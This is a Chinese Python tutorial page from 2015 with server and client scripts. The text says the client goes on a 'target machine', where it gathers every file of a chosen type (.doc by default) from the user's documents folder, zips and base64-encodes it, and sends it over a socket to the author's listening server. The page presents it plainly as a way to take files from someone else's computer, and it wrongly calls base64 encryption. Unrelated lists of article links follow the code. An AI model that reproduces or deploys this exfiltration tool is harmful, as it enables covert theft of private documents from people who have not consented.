python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
利用Python绘制数据的瀑布图的教程
Apr 07 Python
django1.8使用表单上传文件的实现方法
Nov 04 Python
Python编程实现生成特定范围内不重复多个随机数的2种方法
Apr 14 Python
python3利用smtplib通过qq邮箱发送邮件方法示例
Dec 03 Python
Django使用httpresponse返回用户头像实例代码
Jan 26 Python
浅谈Python批处理文件夹中的txt文件
Mar 11 Python
python批量识别图片指定区域文字内容
Apr 30 Python
Django如何开发简单的查询接口详解
May 17 Python
python 实现在shell窗口中编写print不向屏幕输出
Feb 19 Python
解决pycharm每次打开项目都需要配置解释器和安装库问题
Feb 26 Python
Pytorch 图像变换函数集合小结
Feb 01 Python
python not运算符的实例用法
Jun 30 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
PHP insert语法详解
2008/06/07 PHP
php设计模式小结
2013/02/15 PHP
浅析PHP Socket技术
2013/08/02 PHP
php设置允许大文件上传示例代码
2014/03/10 PHP
PHP把数字转成人民币大写的函数分享
2014/06/30 PHP
php中mt_rand()随机数函数用法
2014/11/24 PHP
PHP+MYSQL实现用户的增删改查
2015/03/24 PHP
Apache启动报错No space left on device: AH00023该怎么解决
2015/10/16 PHP
TP5(thinkPHP5)框架使用ajax实现与后台数据交互的方法小结
2020/02/10 PHP
PHP时间类完整代码实例
2021/02/26 PHP
jQuery Ajax之load()方法
2009/10/12 Javascript
简略说明Javascript中的= =(等于)与= = =(全等于)区别
2013/04/16 Javascript
JS中prototype关键字的功能介绍及使用示例
2013/07/21 Javascript
使用jquery实现的一个图片延迟加载插件(含图片延迟加载原理)
2014/06/05 Javascript
jQuery实现鼠标单击网页文字后在文本框显示的方法
2015/05/06 Javascript
JQuery自动触发事件的方法
2015/06/13 Javascript
javascript动态添加checkbox复选框的方法
2015/12/23 Javascript
javascript 解决浏览器不支持的问题
2016/09/24 Javascript
Javascript中字符串和数字的操作方法整理
2017/01/22 Javascript
微信小程序之MaterialDesign--input组件详解
2017/02/15 Javascript
数组Array的排序sort方法
2017/02/17 Javascript
使用MUI框架模拟手机端的下拉刷新和上拉加载功能
2017/09/04 Javascript
微信小程序视图template模板引用的实例详解
2017/09/20 Javascript
浅谈vue同一页面中拥有两个表单时,的验证问题
2018/09/18 Javascript
Python中文编码那些事
2014/06/25 Python
python网络编程之读取网站根目录实例
2014/09/30 Python
python文件绝对路径写法介绍(windows)
2019/12/25 Python
Python 数据的累加与统计的示例代码
2020/08/03 Python
pycharm中选中一个单词替换所有重复单词的实现方法
2020/11/17 Python
ajax是什么及其工作原理
2012/02/08 面试题
十佳大学生村官事迹
2014/01/09 职场文书
节约电力资源的建议书
2014/03/12 职场文书
住宅质量保证书
2014/04/29 职场文书
买卖合同协议书范本
2014/10/18 职场文书
五一放假通知怎么写
2015/08/18 职场文书
Android开发实现极为简单的QQ登录页面
2022/04/24 Java/Android